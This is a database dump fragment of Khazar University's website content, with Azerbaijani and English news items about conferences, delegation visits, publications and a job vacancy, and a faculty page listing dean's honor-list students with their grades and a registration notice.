outline-p.png\");\"=\"\">EU Law</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Modern Diplomacy</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">History of translation</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Survey of&nbsp; British Literature 1</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ESP</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Economic translation</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">History of International Relations</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azerbaijani language</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Research Methods – (Psychology)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Translation of Oil and Gas materials</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">History of Turkic Nations</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Biopsychological Approach to stress, health, and illnesses</p></div>'),(5864,3359,'az','Akademik İsa Həbibbəylinin “Qoşa qanadların harmoniyası” adlı məqaləsində professor Hamlet İsaxanlının “Əlkimya: elm, sənət və mistika” kitabı haqqında','“Ədəbiyyat qəzeti” və “525-ci qəzet”in 14 iyul tarixli nömrələrində Azərbaycan...','<p>“Ədəbiyyat qəzeti” və “525-ci qəzet”in 14 iyul tarixli nömrələrində Azərbaycan Milli Elmlər Akademiyasının vitse-prezidenti, Milli Məclisin Elm və təhsil komitəsinin sədri, akademik İsa Həbibbəylinin “Qoşa qanadların harmoniyası” adlı məqaləsi dərc olunmuşdur. Elmi idrakla bədii yaradıcılığın sintezi məsələlərinə həsr etdiyi məqaləsində İ.Həbibbəyli görkəmli riyaziyatçı alim olmaqla yanaşı humanitar elm sahələrində də çoxlu əsərlərin müəllifi olan professor Hamlet İsaxanlının yeni - “Əlkimya: elm, sənət və mistika” adlı kitabından da bəhs edərək yazmışdır:</p><p>“<em>Fizika-riyaziyyat elmləri doktoru, professor Hamlet İsaxanlının 2018-ci ildə nəşr etdirdiyi “Əlkimya: elm, sənət və mistika” kitabı elmi idrakla bədii düşüncənin sintezi və vəhdəti problemlərinə həsr olunmuş mühüm elmi əhəmiyyətə malik ciddi monoqrafik tədqiqatdır. Bu, - dünya miqyasında geniş mənada ədəbiyyatdan elmə, konkret mənada isə bədii yaradıcılıqdan əlkimya və əlfizikaya, yaxud da əksinə olan elmi-ədəbi prosesləri dərindən araşdırıb ümumiləşmiş şəkildə təqdim edən sanballı tədqiqat əsəridir. Bu, - Azərbaycan elminin bədii təxəyyüllə elmi idrakın qarşılıqlı əlaqələrinin nəzəriyyəsi və təcrübəsinə qiymətli töhfəsidir.</em>”</p>'),(5865,3360,'az','Professor Hamlet İsaxanlı IV “Fizika və lirika” konfransında əsas məruzə ilə çıxış etmişdir','2018-ci il iyulun 17-də AMEA Nizami Gəncəvi adına Ədəbiyyat İnstitutunun...','<p>2018-ci il iyulun 17-də AMEA Nizami Gəncəvi adına Ədəbiyyat İnstitutunun təşkilatçılığı ilə AMEA Botanika İnstitutunda və Mərkəzi Nəbatat Bağında “Qoşa qanad: elmi idrakla bədii yaradıcılığın sintezi” mövzusunda IV “Fizika və lirika” konfransı keçirilmişdir.</p><p>Konfransda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Əlkimya və əlfizikadan böyük ədəbiyyata” mövzusunda əsas məruzə ilə çıxış etmişdir.</p>'),(5866,3356,'az','Xəzər Universitetinin tədqiqatçısı və müəlliminin məqaləsi onlayn jurnalda','“E-Parlamentin formalaşmasında mövcud çətinliklər və onların aradan qaldırılması”...','<p>“E-Parlamentin formalaşmasında mövcud çətinliklər və onların aradan qaldırılması” adlı məqalədə inkişaf etməkdə olan ölkələrdə İKT-nin tətbiqi araşdırılır, eləcə də əsas tələblərin və texniki problemlərin müəyyənləşdirilməsi zamanı fərqliliklər ayırd edilir və problemlərin həlli yolları təklif olunur.</p><p>Tədqiqatçı Abdusalam S.Mustafa və Xəzər Universitetinin Kompüter elmləri departamentinin koordinatoru Dr.Məhəmməd Şərifovun həmmüəllifliyi ilə yazılan məqalə Beynəlxalq Kompüter və Texnologiya Jurnalında (cild 5, nömrə 6, 2018) nəşr edilmişdir. Məqalənin xülasəsi və tam mətnini aşağıdakı keçiddən əldə etmək olar:</p><p><a href=\"http://ijcat.org/articles/5-6/The-Challenges-of-e-Parliament-Adoption-and-Its-Mitigation.html\">http://ijcat.org/articles/5-6/The-Challenges-of-e-Parliament-Adoption-and-Its-Mitigation.html</a>.</p>'),(5867,3361,'az','Professor Hamlet İsaxanlının IV “Fizika və lirika” konfransında əsas məruzə ilə çıxış etməsi AZƏRTAC-ın xəbərində qeyd olunmuşdur','2018-ci il iyulun 17-də AMEA Nizami Gəncəvi adına Ədəbiyyat İnstitutunun təşkilatçılığı...','<p>2018-ci il iyulun 17-də AMEA Nizami Gəncəvi adına Ədəbiyyat İnstitutunun təşkilatçılığı ilə AMEA Botanika İnstitutunda və Mərkəzi Nəbatat Bağında keçirilmiş “Qoşa qanad: elmi idrakla bədii yaradıcılığın sintezi” mövzusunda IV “Fizika və lirika” konfransı haqqında AZƏRTAC geniş xəbər yaymışdır. Xəbərdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının konfransda “Əlkimya və əlfizikadan böyük ədəbiyyata” mövzusunda əsas məruzə ilə çıxış etdiyi qeyd olunmuşdur.</p><p>“Yeni Azərbaycan”, “Xalq cəbhəsi” qəzetləri AZƏRTAC-a&nbsp;istinadla həmin xəbəri yayımlamışlar.</p><p>Xəbərləri bu linkdə oxumaq olar:</p><p><a href=\"https://azertag.az/xeber/Dorduncu_Fizika_ve_lirika_konfransi_cherchivesinde_Qosa_qanad_elmi_edebi_gecesi_kechirilib-1180384#Kalibrihttp://yeniazerbaycan.com/SonXeber_e35002_az.html#Kalibrihttp://xalqcebhesi.az/news.php?id=29059#Kalibri\">https://azertag.az/xeber/Dorduncu_Fizika_ve_lirika_konfransi_cherchivesinde_Qosa_qanad-elmi_edebi_gecesi_kechirilib-1180384#Kalibrihttp://yeniazerbaycan.com/SonXeber-e35002_az.html#Kalibrihttp://xalqcebhesi.az/news.php?id=29059#Kalibri</a></p>'),(2500,1511,'az','Təsisçi Sütçü İmam Universitetindən gələn heyəti qəbul etdi','2016-cı il oktyabrın 28-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Türkiyənin Kahramanmaraş Sütçü İmam...','<p>2016-cı il oktyabrın 28-də Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı Türkiyənin Kahramanmaraş Sütçü İmam Universitetinin rektoru\r\nprofessor Durmuş Deveci, prorektor İbrahim Solak, İctimai Nəzarət Koalisiyası\r\nİH-nin sədri, Sabitlik və İnkişaf Mərkəzi İB-nin sədri, Dünya Azərbaycanlıları\r\nMədəniyyət Mərkəzi İH-nin vitse-prezidenti ilə görüşdü. Görüşdə Xəzər\r\nUniversitetinin Tədris işləri üzrə prorektoru professor Məhəmməd Nuruyev, İdarəetmə\r\nvə tələbə işləri üzrə prorektor İsaxan İsaxanlı və İctimai əlaqələr və media\r\nüzrə direktor Əlövsət Əmirbəyli iştirak edirdilər.</p>'),(2502,1512,'en','Khazar Alumnus to Lead Training','On November 5, 2016 at 10:30, Khazar University alumnus Jalala Nazaroghlu will lead a training on “Influential Speech” as part of the NGO Administration Academy...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 5, 2016 at 10:30, Khazar\r\nUniversity alumnus Jalala Nazaroghlu will lead a training on “Influential\r\nSpeech” as part of the NGO Administration Academy held by the National Board\r\nfor Youth Organizations of the Ministry of Youth and Sports of the Azerbaijan\r\nRepublic. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">More information is available at the\r\nfollowing link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://www.hamar.az/?p=38734\">http://www.hamar.az/?p=38734</a>.&nbsp;</p>'),(1612,999,'en','Meeting with Universities and Education Companies from Poland, Iran, and Iraq','On April 22, 2016, Khazar University hosted the representatives of universities and education companies from Poland, Iran, and Iraq at its Neftchilar campus. The event was organized by the International Affairs Office and the PR and Media Center.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nApril 22, 2016, Khazar University hosted the representatives of universities\r\nand education companies from Poland, Iran, and Iraq at its Neftchilar campus.\r\nThe event was organized by the International Affairs Office and the PR and\r\nMedia Center. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Participants\r\nof the event included Dr. Hassan Niknafs, President; Prof. Mahammad Nuriyev,\r\nVice-President for Academic Affairs; and Gunay Farzaliyeva, Assistant to the\r\nDirector of the International Affairs Office. Guests included representatives\r\nof the Warsaw School of Economics, Rony Company for Educational Services,\r\nUniversal Education, Light Education Group, and Oskar Education and Consulting.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Dr.\r\nHassan Niknafs, the President of Khazar University, opened the event with a\r\nwelcome speech and briefly introduced Khazar University to the guests. Gunay\r\nFarzaliyeva, Assistant to the Director of the International Affairs Office,\r\ngave a presentation about Khazar University, its schools and programs, its\r\nrankings among universities inside and outside of Azerbaijan, and its\r\ninternational partnerships and cooperation with other universities around the\r\nworld. Representatives from each of the participating universities and\r\ncompanies also delivered presentations. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;The\r\nevent concluded with a discussion of possible future cooperation.</p>'),(1515,949,'en','Full Time Instructor: Civil Engineering','The Civil Engineering Department in the School of Engineering and Applied Science has a vacancy for a full-time instructor for the Fall 2016 semester.','<p>The Civil Engineering\r\nDepartment in the School of Engineering and Applied Science has a vacancy for a\r\nfull-time instructor for the&nbsp;Fall 2016 semester. The applicant should at\r\nleast have a Master or preferably a PhD degree in Civil Engineering and good\r\nwritten and verbal communication skills. The successful candidate is required\r\nto teach four major courses in the&nbsp;structural engineering field (in\r\nEnglish), conduct research utilizing our well-equipped laboratory and publish\r\nquality papers.<br>\r\n<br>\r\nThe application deadline is May 31, 2016. If\r\ninterested, please send your CV with a cover letter to&nbsp;Dr.\r\nHassan&nbsp;Niknafs, Dean of the School of&nbsp;Engineering&nbsp;at&nbsp;<a href=\"mailto:hniknafs@khazar.org\">hniknafs@khazar.org</a>. &nbsp;</p>'),(1516,948,'en','First National Student Forum to be held','On May 25-26, 2016, the First National Student Forum will be held at Khazar University for students of Azerbaijani universities wishing to develop their research skills.','<p>On May 25-26, 2016, the First\r\nNational Student Forum will be held at Khazar University for students of\r\nAzerbaijani universities wishing to develop their research skills. The forum\r\norganizers invite bachelor’s students (3rd and 4th year) as well as master\r\nstudents majoring in social sciences and humanities fields to participate! More\r\ninformation is available from the following links: </p>\r\n<p><a href=\"http://www.khazar.org/s8107/Birinci-telebe-formu/az\" target=\"_blank\">http://www.khazar.org/s8107/Birinci-telebe-formu/az</a>;</p>\r\n<p><a href=\"http://www.khazar.org/s8107/The-First-National-Forum-of-Students/en\" target=\"_blank\">http://www.khazar.org/…/The-First-National-Forum-of-Stud…/en</a>.</p>'),(1517,944,'en','Dunya School Pupils Sing in Chinese','On April 15, 2016, an event called “Chinese and Azerbaijani Puppet Theater: History and Today” was held at Azerbaijan University of Languages’ Center of Chinese Language and Culture.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">On\r\nApril 15, 2016, an event called “Chinese and Azerbaijani Puppet Theater:\r\nHistory and Today” was held at Azerbaijan University of Languages’ Center of\r\nChinese Language and Culture. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Pupils\r\nfrom Khazar University’s affiliate Dunya School participated in the event with\r\na musical number. More information is available at the following links: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51727\">http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51727</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><a href=\"http://gun.az/xeber-diller-universitetinde-cin-kukla-teatri-t190282.html\">http://gun.az/xeber-diller-universitetinde-cin-kukla-teatri-t190282.html</a>.&nbsp;&nbsp;</p>'),(1518,945,'en','Khazar Instructors Meet with School Pupils','On April 16, 2016, a group of Khazar University instructors and students visited School no. 118 of Hovsan village.','<p>On April 16, 2016, a group of\r\nKhazar University instructors and students visited School no. 118 of Hovsan\r\nvillage. The main objective of the visit was to make connections between the\r\nuniversity and the school. First the visitors from Khazar viewed an exhibition\r\nof artwork at the school. Then members of the delegation made speeches to the\r\nschool children emphasizing the benefits of studying at Khazar. Delegation\r\nmembers who spoke included instructors Rovshan Abbasov, Gasham Zeynalov, Yegana\r\nBalamedova, and Narmin Fataliyeva as well as student Ahmad Usama. </p>\r\n<p>Rahila Hajiyeva, an experienced\r\nteacher at the school, thanked the delegation for their visit and called Khazar\r\nUniversity the best university in Azerbaijan.&nbsp;</p>'),(1519,946,'en','University Rectors Visit Khazar','On April 17, 2016, rectors of Turkish universities participating in an education fair in Baku organized by KUNIB visited Khazar University.','<p>On April 17, 2016, rectors of Turkish universities participating in an\r\neducation fair in Baku organized by KUNIB visited Khazar University. An\r\nofficial meeting was held with them in the Marble Hall with the participation\r\nof the Khazar administration, deans, and department chairs. First, Associate\r\nProfessor Zulfiyya Sadigova, chair of the Department of Music and Fine Arts,\r\nled a brief concert in honor of the guests. The concert included solo vocal\r\nperformances by Mehseti Jabbarova and Elchin Feyzullayev as well as a violin\r\npiece by Masrin Rzayeva. After the concert, Prof. Hamlet Isaxanli, founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, spoke\r\nabout Khazar’s foundation and its activities up until today. Then Professor\r\nRamazan Korkmaz, head of KUNIB and Rector of Ardahan University, expressed his\r\nthanks to Prof. Isaxanli and Khazar University for the warm welcome. Professor\r\nAhmet Agirakca, Rector of Mardin Artuklu University; Professor Ahmet Sinav,\r\nRector of SANKO University; Professor Recep Ileri, Rector of Bursa Orhangazi\r\nUniversity; and others made speeches to thank Khazar University and Prof.\r\nIsaxanli for the reception. </p>\r\n<p>A banquet was given in honor of the guests at Shirvanshah Museum\r\nRestaurant. </p>\r\n<p>&nbsp;</p>'),(1520,947,'en','Khazar University Participates in KUNIB Education Fair','On April 16, 2016, the III Education Fair was organized by KUNIB (Caucaus Universities’ Union) at ParkINN hotel.','<p>On April 16, 2016, the III Education Fair was\r\norganized by KUNIB (Caucaus Universities’ Union) at ParkINN hotel. The fair\r\nincluded more than 20 universities from Turkey as well as various education\r\ncompanies. On the first day of the fair, an official opening ceremony was held.\r\nThe official part of the ceremony was opened by Professor\r\nRamazan Korkmaz, head of KUNIB and Rector of Ardahan University, who welcomed\r\nthe university administrators, guests, and students in attendance and gave\r\ninformation about the event. Then a film about KUNIB was shown. </p>\r\n<p>Khazar University was also represented at the event. Prof. Hamlet\r\nIsaxanli, founder of Khazar University and Chairman of its Board of Directors\r\nand Trustees, and Alovsat Amirbeyli, Director of Public Relations and Media, attended\r\nthe event and met with university representatives there.&nbsp;</p>'),(1521,951,'az','“Elektron kitabxanaların formalaşması problemləri” adlı konfrans keçirildi','2016-cı il aprelin 15-də AMEA İnformasiya Texnologiyaları İnstitutunda “Elektron kitabxanaların formalaşması problemləri” adlı respublika elmi-praktiki konfransı keçirildi.','<p>2016-cı il aprelin\r\n15-də AMEA İnformasiya Texnologiyaları İnstitutunda “Elektron kitabxanaların\r\nformalaşması problemləri” adlı respublika elmi-praktiki konfransı keçirildi. İnformasiya\r\nTexnologiyaları İnstitutunun direktoru, akademik Rasim Əliquliyev AMEA Rəyasət\r\nHeyətinin qərarı ilə keçirilən konfransın elektron kitabxanaların\r\nmultidissiplinar problemlərinə həsr olunduğunu qeyd etdi. Ölkədə milli elektron\r\nkitabxana mühitinin yaradılmasının prioritet məsələlərdən olduğunu söyləyən\r\nalim bildirdi ki, bunun üçün e-kitabxanaların kommunallaşdırılması və\r\ninteqrasiyası əsas fəaliyyət istiqamətlərindəndir. Mövzu ətrafında geniş fikir\r\nmübadiləsi aparıldı, təklif və tövsiyələr səsləndirildi. Məruzəçilər konfrans\r\niştirakçılarının suallarını cavablandırdılar. </p>\r\n<p>Konfransda Xəzər\r\nUniversitetinin KİM-nin əməkdaşı Səidə Orucova da iştrak edirdi.</p>'),(1522,951,'en','“Issues of Setting up Electronic Libraries” Conference','On April 15, 2016, a national conference entitled “Issues of Setting up Electronic Libraries” was held by the Azerbaijan National Academy of Sciences. ','<p>On April 15, 2016,\r\na national conference entitled “Issues of Setting up Electronic Libraries” was\r\nheld by the Azerbaijan National Academy of Sciences. The conference was opened\r\nby Academic Rasim Aliquliyev, Director of the ANAS Information Technologies\r\nInstitute. The objective of the conference was to discuss multidisciplinary\r\nissues related to electronic libraries, which have become a priority issue in\r\nthe country. The conference also included lectures and question-and-answer\r\nsessions. </p>\r\n<p>Saida Orujova,\r\nstaff member of Khazar University Library Information Center, attended the\r\nconference.&nbsp;</p>'),(1523,952,'en','International Guest Visits Theater','On April 16, 2016, Julia Krajcarz, an independent researcher who is visiting Khazar University to learn the Azerbaijani language, attended a performance of “Khortdan’s Letters of Hell,” a comedy by Abrurrehim bey Hagverdiyev, at the Azerbaijani State Young Spectators’ Theater. ','<p>On April 16, 2016, Julia Krajcarz, an independent\r\nresearcher who is visiting Khazar University to learn the Azerbaijani language,\r\nattended a performance of “Khortdan’s Letters of Hell,” a comedy by Abrurrehim\r\nbey Hagverdiyev, at the Azerbaijani State Young Spectators’ Theater. The visit\r\nwas facilitated by Gunel Ismayilova, Assistant for the Department of\r\nAzerbaijani Language and Literature. After the performance, Ms Krajcarz shared\r\nher views on the event. </p>\r\n<p>&nbsp;</p>'),(1524,952,'az','“Xortdanın Cəhənnəm məktubları” tamaşasında','2016-cı il aprelin 16-da Xəzər Universitetində Azərbaycan dilini öyrənmək üçün Polşadan gəlmiş sərbəst tədqiqatçı Julia Krajcarz Azərbaycan dili və ədəbiyyatı departamentinin assistenti  Günel İsmayılovanın təşəbbüsü ilə Azərbaycan Dövlət Gənc Tamaşaçılar Teatrında','<p>2016-cı il aprelin 16-da Xəzər Universitetində Azərbaycan dilini öyrənmək\r\nüçün Polşadan gəlmiş sərbəst tədqiqatçı Julia Krajcarz Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin assistenti&nbsp; Günel İsmayılovanın təşəbbüsü ilə Azərbaycan\r\nDövlət Gənc Tamaşaçılar Teatrında Əbrürrəhim bəy Haqverdiyevin “Xortdanın Cəhənnəm\r\nməktubları” adlı komediyasına tamaşa etdilər. </p>\r\n<p>Tamaşadan sonra Julia xanım öz təəssüratlarını bölüşdü.&nbsp;</p>'),(1525,953,'en','Khazar Staff Member is Editor of Newly-Published Book','The book «На имя Багирова, за подписью Багирова» (In the name of Bahirov, With the Signature of Baghirov) has been published by OL Publishers. The book was edited by Honored Journalist Alirza Balayev, Deputy Editor of Khazar University’s Khazar Review journal. He also wrote a preface to the book.','<p>The book «На имя Багирова, за подписью Багирова» (In\r\nthe name of Bahirov, With the Signature of Baghirov) has been published by OL\r\nPublishers. The book was edited by Honored Journalist Alirza Balayev, Deputy\r\nEditor of Khazar University’s Khazar Review journal. He also wrote a preface to\r\nthe book. </p>\r\n<p>The book is a compilation of letters and other\r\ndocuments sent by Mir Jafar Baghirov, who was the leader of Azerbaijan for many\r\nyears. The compiler of the book is Teyyub Gurban, well-known poet,\r\neditorialist, historian, and civil servant. He spent 20 years compiling these\r\ndocuments used by Baghirov in his multi-volume works from the Political\r\nDocuments Archive of the President of Azerbaijan Republic, and they are now\r\nbeing presented to readers for the first time.&nbsp;</p>'),(1526,953,'az','Əməkdaşımızın redaktoru olduğu kitab çapdan çıxıb',' “Xəzər Xəbər” jurnalının baş redaktor müavini, əməkdar jurnalist Əlirza Balayevin redaktoru olduğu «На имя Багирова, за подписью Багирова» («Bağırovun adına, Bağırovun imzası ilə”) adlı kitab “OL” npkt nəşriyyatında çapdan çıxmışdır. O, kitaba geniş ön söz də yazmışdır.','<p>&nbsp;“Xəzər Xəbər” jurnalının baş redaktor müavini, əməkdar\r\njurnalist Əlirza Balayevin redaktoru olduğu «На имя Багирова, за подписью\r\nБагирова» («Bağırovun adına, Bağırovun imzası ilə”) adlı kitab “OL” npkt nəşriyyatında\r\nçapdan çıxmışdır. O, kitaba geniş ön söz də yazmışdır.</p>\r\n<p>Kitaba uzun illər Azərbaycanın rəhbəri olmuş Mir Cəfər\r\nBağırovun adına gəlmiş və onun tərəfindən göndərilmiş məktublar və digər sənədlər\r\ntoplanmışdır. Kitabın tərtibçisi görkəmli şair, nasir, pyblisist, tarix tədqiqatçısı,\r\nictimai xadim Teyyub Qurbandır. O, 20 il ərzində Azərbaycan Respublikası\r\nPrezidentinin İşlər İdarəsinin Siyasi Sənədlər Arxivində topladığı və M. C.\r\nBağırova aid çoxcildlik əsərlərində istifadə etdiyi sənədləri ilk dəfə\r\noxuculara təqdim etmişdir. </p>\r\n<p>&nbsp;</p>'),(538,353,'en','Faculty announcements','Faculty announcements','<div><strong><br></strong></div><div><img src=\"/files/15_10_13_Important-Announcement-292x300.jpg\"> <img src=\"/files/15_10_14_15_06_04_khazar_location.jpg\"><div><br></div><div><br></div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><p>41 Mehseti Str.</p><p>AZ1096</p><p>Baku, Azerbaijan</p><p>Phone: (994 12) 4211093,</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;(994 12) 4217927</p><p>Fax:&nbsp;&nbsp;&nbsp; &nbsp;(994 12) 4989379</p><p>E-mail:&nbsp;&nbsp;<a href=\"mailto:ashadlinskaya@khazar.org\">contact</a><a href=\"mailto:ashadlinskaya@khazar.org\">@khazar.org</a></p></div><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><em><div><em><p><strong>Humanitar və Sosial elmlər fakültəsinin aşağıda adları qeyd olunan tələbələri&nbsp;</strong></p><p><strong>2017-2018-ci tədris ilinin Yaz semestrinin nəticələrinə görə&nbsp;</strong></p><p><strong>“Dekanın Fəxri Vərəqinə” daxil edilmişlər.:</strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"486\" style=\"font-weight:bold\"><tbody><tr><td width=\"426\"><p>Nigar Allahverdiyeva&nbsp;</p></td><td width=\"60\"><p>90</p></td></tr><tr><td width=\"426\"><p>Səbinə Qafarova</p></td><td width=\"60\"><p>90</p></td></tr><tr><td width=\"426\"><p>Seymur Bağırov&nbsp;</p></td><td width=\"60\"><p>95</p></td></tr><tr><td width=\"426\"><p>Abdulla Buğayev&nbsp;</p></td><td width=\"60\"><p>98</p></td></tr><tr><td width=\"426\"><p>Mirvari Əliyeva&nbsp;</p></td><td width=\"60\"><p>91</p></td></tr><tr><td width=\"426\"><p>Raya Hidayətova&nbsp;</p></td><td width=\"60\"><p>96</p></td></tr><tr><td width=\"426\"><p>Ənvər İsmayıllı&nbsp;</p></td><td width=\"60\"><p>96</p></td></tr><tr><td width=\"426\"><p>Nuranə Quliyeva&nbsp;</p></td><td width=\"60\"><p>98</p></td></tr><tr><td width=\"426\"><p>İbrahim Mustafayev&nbsp;</p></td><td width=\"60\"><p>98</p></td></tr><tr><td width=\"426\"><p>Nərgiz Şahmaliyeva&nbsp;</p></td><td width=\"60\"><p>95</p></td></tr><tr><td width=\"426\"><p>Züleyxa Şahvələdova&nbsp;</p></td><td width=\"60\"><p>93</p></td></tr><tr><td width=\"426\"><p>Laləndə Qədirova</p></td><td width=\"60\"><p>94</p></td></tr><tr><td width=\"426\"><p>Mustafa Qocayev</p></td><td width=\"60\"><p>96</p></td></tr><tr><td width=\"426\"><p>Zərifə Mazanova</p></td><td width=\"60\"><p>91</p></td></tr><tr><td width=\"426\"><p>Fidan Qədiməliyeva</p></td><td width=\"60\"><p>91</p></td></tr><tr><td width=\"426\"><p>Elmira Əliyeva</p></td><td width=\"60\"><p>91</p></td></tr><tr><td width=\"426\"><p>Sevinc Hacıyeva</p></td><td width=\"60\"><p>97</p></td></tr><tr><td width=\"426\"><p>Ləman Quliyeva</p></td><td width=\"60\"><p>90</p></td></tr><tr><td width=\"426\"><p>Mirzəhra Mürsəlli</p></td><td width=\"60\"><p>90</p></td></tr><tr><td width=\"426\"><p>Elməddin Məmmədli</p></td><td width=\"60\"><p>90</p></td></tr><tr><td width=\"426\"><p>Sabrina Ramazanova</p></td><td width=\"60\"><p>97</p></td></tr><tr><td width=\"426\"><p>Cavad Əzizov</p></td><td width=\"60\"><p>94</p></td></tr><tr><td width=\"426\"><p>Səlimə Ağamoğlanlı</p></td><td width=\"60\"><p>99</p></td></tr><tr><td width=\"426\"><p>Ləman Əliyeva</p></td><td width=\"60\"><p>94</p></td></tr><tr><td width=\"426\"><p>Elnur Nağıyev</p></td><td width=\"60\"><p>98</p></td></tr><tr><td width=\"426\"><p>Liana Nuriyeva</p></td><td width=\"60\"><p>92</p></td></tr><tr><td width=\"426\"><p>Aygün Ağabalayeva</p></td><td width=\"60\"><p>94</p></td></tr><tr><td width=\"426\"><p>Məryam Daşdəmirova</p></td><td width=\"60\"><p>93</p></td></tr><tr><td width=\"426\"><p>Xəyalə Məmmədova</p></td><td width=\"60\"><p>95</p></td></tr><tr><td width=\"426\"><p>Ülviyyə Qənbərova</p></td><td width=\"60\"><p>91</p></td></tr><tr><td width=\"426\"><p>Aygün Şirinova</p></td><td width=\"60\"><p>96</p></td></tr><tr><td width=\"426\"><p>Əkbər Bayramov</p></td><td width=\"60\"><p>96</p></td></tr><tr><td width=\"426\"><p>Kamran Hüseynov</p></td><td width=\"60\"><p>96</p></td></tr><tr><td width=\"426\"><p>Aynur Abbasova</p></td><td width=\"60\"><p>98</p></td></tr><tr><td width=\"426\"><p>Dağlar Hüseynli</p></td><td width=\"60\"><p>99</p></td></tr><tr><td width=\"426\"><p>Məhəmməd Məhərrəmov</p></td><td width=\"60\"><p>93</p></td></tr><tr><td width=\"426\"><p>Nigar Abdulqədirova</p></td><td width=\"60\"><p>95</p></td></tr><tr><td width=\"426\"><p>Sabir Hüseynov</p></td><td width=\"60\"><p>94</p></td></tr><tr><td width=\"426\"><p>Rena Yüzbəyova</p></td><td width=\"60\"><p>90</p></td></tr><tr><td width=\"426\"><p>Christopher Graham Hanschell</p></td><td width=\"60\"><p>94</p></td></tr><tr><td width=\"426\"><p>Tendai Samantha Shereni</p></td><td width=\"60\"><p>93</p></td></tr><tr><td width=\"426\"><p>Tatenda Melody Mudara</p></td><td width=\"60\"><p>92</p></td></tr><tr><td width=\"426\"><p>Alif Paramardhika</p></td><td width=\"60\"><p>97</p></td></tr><tr><td width=\"426\"><p>John Ayomide Arogun</p></td><td width=\"60\"><p>90</p></td></tr><tr><td width=\"426\"><p>Turana Alieva</p></td><td width=\"60\"><p>92</p><div><strong><br></strong></div></td></tr></tbody></table>  <br></em></div><div style=\"font-weight:bold\"><strong><em><br></em></strong></div><div style=\"font-weight:bold\"><strong><em><div style=\"display:inline !important\"><strong><em>PAYIZ 2018 SEMESTERİ FƏNN QEYDİYYATI !</em></strong></div></em></strong></div></em><p text-indent:-.25in\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">1.Qeydiyyata gələn hər bir tələbə götürəcəyi fənn sayından aslı olaraq (hər fənnin kreditinə görə) ödəniş etməlidir. Tələbə max. 6 fənn min. 4 fənn ilə qeydiyyat edilə bilir. Ödəniş tam formada Bank vasitəsilə edilməlidir: Banklar – Paşa Bank, Xalq Bank və VTB. Ödənilən pulun qəbzi Universitetin kassasında təsdiq edildikdən sonra mütləq dekanlığa təqdim edilməlidir! Ödəniş etməyən tələbə, fənn qeydiyyatında iştirak edə bilməz!</p><p text-indent:-.25in\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2.<strong><em>Fakültəmizin qeydiyyat vaxtları aşağıdakı 